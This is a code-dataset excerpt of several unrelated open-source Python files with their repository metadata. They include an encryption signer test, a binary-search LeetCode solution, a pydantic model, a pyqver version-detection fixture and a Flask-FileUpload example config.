tests/app/test_encryption.py

cds-snc/notifier-api

90b385ec49efbaee7e607516fc7d9f08991af813

[ "MIT" ]

null

tests/app/test_encryption.py

cds-snc/notifier-api

90b385ec49efbaee7e607516fc7d9f08991af813

[ "MIT" ]

51

2019-07-03T14:11:19.000Z

2019-07-08T12:24:55.000Z

tests/app/test_encryption.py

cds-snc/notifier-api

90b385ec49efbaee7e607516fc7d9f08991af813

[ "MIT" ]

null

from app.encryption import CryptoSigner signer = CryptoSigner() def test_should_sign_content(notify_api): signer.init_app(notify_api) assert signer.sign("this") != "this" def test_should_verify_content(notify_api): signer.init_app(notify_api) signed = signer.sign("this") assert signer.verify(signed) == "this" def test_should_sign_json(notify_api): signer.init_app(notify_api) signed = signer.sign({"this": "that"}) assert signer.verify(signed) == {"this": "that"}

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null

0

1

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2

0a88dbf2d60acbd416ea1b0210d8dbb9c4c7f0c3

370

py

Python

fpipe/utils/meta.py

vkvam/fpipe

2905095f46923c6c4c460c3d154544b654136df4

[ "MIT" ]

18

2019-12-16T17:55:57.000Z

2020-10-21T23:25:40.000Z

fpipe/utils/meta.py

vkvam/fpipe

2905095f46923c6c4c460c3d154544b654136df4

[ "MIT" ]

23

2019-12-11T14:15:08.000Z

2020-02-17T12:53:21.000Z

fpipe/utils/meta.py

vkvam/fpipe

2905095f46923c6c4c460c3d154544b654136df4

[ "MIT" ]

null

from typing import Type from fpipe.exceptions import FileDataException from fpipe.file import File from fpipe.meta.abstract import FileData, T def meta_prioritized(t: Type[FileData[T]], *sources: File) -> T: error = FileDataException(t) for s in sources: try: return s[t] except FileDataException: pass raise error

23.125

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0

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0.5

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null

0

null

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1

0

2

0a8af313398e9300947e1c20630e8f3c229d4399

332

py

Python

src/experiment.py

Hiestaa/my-tornado-media-library

6decb97ad02d0ee1613c53dbb1729474e2ea9b42

[ "MIT" ]

1

2019-09-14T20:46:23.000Z

src/experiment.py

Hiestaa/my-tornado-media-library

6decb97ad02d0ee1613c53dbb1729474e2ea9b42

[ "MIT" ]

null

src/experiment.py

Hiestaa/my-tornado-media-library

6decb97ad02d0ee1613c53dbb1729474e2ea9b42

[ "MIT" ]

1

2021-08-24T03:20:46.000Z

import sys import experiments from experiments import * # from experiments import facedetect_facelib # print (dir(experiments.facedetect_facelib)) if __name__ == '__main__': if len(sys.argv) > 1: for name in sys.argv[1:]: getattr(experiments, name).run() else: print("No experiment specified.")

25.538462

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0

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13

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0a9605e2ff3f7c01f3377395f7463b60a8dd6e36

499

py

Python

35. Search Insert Position/main.py

Competitive-Programmers-Community/LeetCode

841fdee805b1a626e9f1cd0e12398d25054638af

[ "MIT" ]

2

2019-10-05T09:48:20.000Z

2019-10-05T15:40:01.000Z

35. Search Insert Position/main.py

Competitive-Programmers-Community/LeetCode

841fdee805b1a626e9f1cd0e12398d25054638af

[ "MIT" ]

null

35. Search Insert Position/main.py

Competitive-Programmers-Community/LeetCode

841fdee805b1a626e9f1cd0e12398d25054638af

[ "MIT" ]

3

2020-09-27T05:48:30.000Z

2021-08-13T10:07:08.000Z

class Solution: def searchInsert(self, nums, target): """ :type nums: List[int] :type target: int :rtype: int """ low = 0 high = len(nums) - 1 while low <= high: mid = (low + high)//2 if nums[mid] == target: return mid elif nums[mid] > target: high = mid - 1 elif nums[mid] < target: low = mid + 1 return low

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0a99bfa3122580b534d14c313f5b6c5b6c5b4929

517

py

Python

hyperion/torch/archs/net_arch.py

jsalt2019-diadet/hyperion

14a11436d62f3c15cd9b1f70bcce3eafbea2f753

[ "Apache-2.0" ]

9

2019-09-22T05:19:59.000Z

2022-03-05T18:03:37.000Z

hyperion/torch/archs/net_arch.py

jsalt2019-diadet/hyperion

14a11436d62f3c15cd9b1f70bcce3eafbea2f753

[ "Apache-2.0" ]

null

hyperion/torch/archs/net_arch.py

jsalt2019-diadet/hyperion

14a11436d62f3c15cd9b1f70bcce3eafbea2f753

[ "Apache-2.0" ]

4

2019-10-10T06:34:05.000Z

2022-03-05T18:03:56.000Z

""" Copyright 2019 Johns Hopkins University (Author: Jesus Villalba) Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) """ from __future__ import absolute_import from __future__ import print_function from __future__ import division from six.moves import xrange import numpy as np import torch.nn as nn class NetArch(nn.Module): @property def context(self): return 0 def get_config(self): config = { 'class_name': self.__class__.__name__} return config

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null

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null

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1

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2

0aab5fb09294e4ac352bacfb1b87c2c63ee5dbe5

1,597

py

Python

services/traction/acapy_wrapper/models/input_descriptors.py

Open-Earth-Foundation/traction

908b555a7f408a88541b7692d3730e37a297c919

[ "Apache-2.0" ]

12

2022-01-29T20:30:03.000Z

2022-03-29T11:46:14.000Z

services/traction/acapy_wrapper/models/input_descriptors.py

Open-Earth-Foundation/traction

908b555a7f408a88541b7692d3730e37a297c919

[ "Apache-2.0" ]

38

2021-11-22T17:52:50.000Z

2022-03-31T17:52:00.000Z

services/traction/acapy_wrapper/models/input_descriptors.py

Open-Earth-Foundation/traction

908b555a7f408a88541b7692d3730e37a297c919

[ "Apache-2.0" ]

9

2021-11-22T18:05:48.000Z

2022-03-29T11:25:08.000Z

# coding: utf-8 from __future__ import annotations from datetime import date, datetime # noqa: F401 import re # noqa: F401 from typing import Any, Dict, List, Optional # noqa: F401 from pydantic import AnyUrl, BaseModel, EmailStr, validator # noqa: F401 from acapy_wrapper.models.constraints import Constraints from acapy_wrapper.models.schemas_input_descriptor_filter import ( SchemasInputDescriptorFilter, ) def schema_field(string: str) -> str: if string == "schema": return "x_schema" return string class InputDescriptors(BaseModel): """NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). Do not edit the class manually. InputDescriptors - a model defined in OpenAPI constraints: The constraints of this InputDescriptors [Optional]. group: The group of this InputDescriptors [Optional]. id: The id of this InputDescriptors [Optional]. metadata: The metadata of this InputDescriptors [Optional]. name: The name of this InputDescriptors [Optional]. purpose: The purpose of this InputDescriptors [Optional]. schema: The schema of this InputDescriptors [Optional]. """ constraints: Optional[Constraints] = None group: Optional[List[str]] = None id: Optional[str] = None metadata: Optional[Dict[str, Any]] = None name: Optional[str] = None purpose: Optional[str] = None x_schema: Optional[SchemasInputDescriptorFilter] = None class Config: alias_generator = schema_field InputDescriptors.update_forward_refs()

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null

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1

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null

0

1

0

2

0ab64f30409c1028f80ac4063d29d92dfddf82b9

4,140

py

Python

tests/pyqver_tests.py

cnsnyder/pyqver

d33351804b58752c4d9fef63225e1b8362c1cdaf

[ "Zlib" ]

null

tests/pyqver_tests.py

cnsnyder/pyqver

d33351804b58752c4d9fef63225e1b8362c1cdaf

[ "Zlib" ]

null

tests/pyqver_tests.py

cnsnyder/pyqver

d33351804b58752c4d9fef63225e1b8362c1cdaf

[ "Zlib" ]

null

# multiple with statement (2, 7( # from __future__ import with_statement try: import argparse except ImportError, e: pass try: import argparse except (ImportError, KeyError) as e: pass try: import argparse except ImportError as e: pass finally: print 'pass' print "hello world" # 2.0 # nested try/except/finally ok for (2, 0) try: try: pass except: pass finally: pass # new style classes class test(object): pass # (2, 2) # yield statement def yielder(): for x in [1, 2, 3]: yield 1 # (2.2) # yes, lets add a fundamental type in a .2 print True # (2, 2) a = 4 b = 9 c = 8 a = 100 + c // b - 1 # floordiv print a // b # (2, 2) a_list = [12.3, 4, 4.0] # enumerate enumerate(a_list) # (2, 3) sum(a_list) # (2, 3) # comprenension (x * x for x in range(5)) # (2, 4) # @classmethod class C: @classmethod # (2,4) def m(): pass rev = reversed([1, 2, 3, 4]) # (2, 4) import subprocess a = subprocess.check_output(['ls']) x = 0 z = False y if x else z # (2,5) # hashlib import hashlib # (2, 5) from hashlib import md5 # (2,5) # ElementTree import xml.etree.ElementTree # (2,5) # try/finally # 2.5? try: pass except: pass finally: pass class cm(object): def __enter__(self): pass def __exit__(self, *args): pass # future with statement (2, 5) with cm(): pass # ssl in 2.6 import ssl # (2,6) # WatchedFileHandler added in 2.6 try: from logging.handlers import WatchedFileHandler except ImportError: raise # new 2.7 modules try: # argparse in 2.7 import argparse as not_optparse # (2.7) # collections.Counter new in 2.7 from collections import Counter # collections.OrderedDict new in 2.7 from collections import OrderedDict # NullHandler added in 2.7 from logging import NullHandler import logging foo = logging.NullHandler except ImportError: pass # pep 378, ',' format specifier for thousans foo = '{:20,.2f}'.format(18446744073709551616.0) bar = '{:20,d}'.format(18446744073709551616) blip = '{0},{1}'.format('sdfadf', 'sfsdfsdfserer') # multiple with statement (2, 7( with cm(): pass with cm(): # (2, 5) pass pass # some py3+ modules try: import faulthandler # (3,3) import ipaddress # (3,3) import lzma import tkinter.ttk import unittest.mock import venv except ImportError as e: print e # some py3 functions try: import bz2 f = bz2.open('/sdfd') except Exception as e: print e """ >>> qver('print "hello world"') (2, 0) >>> qver('class test(object): pass') (2, 2) >>> qver('yield 1') (2, 2) >>> qver('a // b') (2, 2) >>> qver('True') (2, 2) >>> qver('enumerate(a)') (2, 3) >>> qver('total = sum') (2, 0) >>> qver('sum(a)') (2, 3) >>> qver('(x*x for x in range(5))') (2, 4) >>> qver('class C:\\n @classmethod\\n def m(): pass') (2, 4) >>> qver('y if x else z') (2, 5) >>> qver('import hashlib') (2, 5) >>> qver('from hashlib import md5') (2, 5) >>> qver('import xml.etree.ElementTree') (2, 5) >>> qver('try:\\n try: pass;\\n except: pass;\\nfinally: pass') (2, 0) >>> qver('try: pass;\\nexcept: pass;\\nfinally: pass') (2, 5) >>> qver('from __future__ import with_statement\\nwith x: pass') (2, 5) >>> qver('collections.defaultdict(list)') (2, 5) >>> qver('from collections import defaultdict') (2, 5) >>> qver('"{0}".format(0)') (2, 6) >>> qver('memoryview(x)') (2, 7) >>> v27('{1, 2, 3}') (2, 7) >>> v27('{x for x in s}') (2, 7) >>> v27('{x: y for x in s}') (2, 7) >>> qver('from __future__ import with_statement\\nwith x:\\n with y: pass') (2, 5) >>> v27('from __future__ import with_statement\\nwith x, y: pass') (2, 7) >>> qver('@decorator\\ndef f(): pass') (2, 4) >>> qver('@decorator\\nclass test:\\n pass') (2, 6) #>>> qver('0o0') #(2, 6) #>>> qver('@foo\\nclass C: pass') #(2, 6) """

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null

0

1

0

1

0

2

0ac3bbab22bebebe7a38116d55bf9ab299be07cc

231

py

Python

example/config.py

platform-ai/Flask-FileUpload

77b26729a114a11820f69372dae30590c13f4a69

[ "MIT" ]

20

2017-04-27T09:11:42.000Z

2022-01-19T06:38:50.000Z

example/config.py

platform-ai/Flask-FileUpload

77b26729a114a11820f69372dae30590c13f4a69

[ "MIT" ]

9

2017-05-07T03:51:55.000Z

2018-12-01T15:43:09.000Z

example/config.py

platform-ai/Flask-FileUpload

77b26729a114a11820f69372dae30590c13f4a69

[ "MIT" ]

6

2017-05-21T13:42:27.000Z

2022-01-19T06:38:51.000Z

SECRET_KEY = "abc" FILEUPLOAD_ALLOWED_EXTENSIONS = ["png"] # FILEUPLOAD_PREFIX = "/cool/upload" # FILEUPLOAD_LOCALSTORAGE_IMG_FOLDER = "images/boring/" FILEUPLOAD_RANDOM_FILE_APPENDIX = True FILEUPLOAD_CONVERT_TO_SNAKE_CASE = True

33

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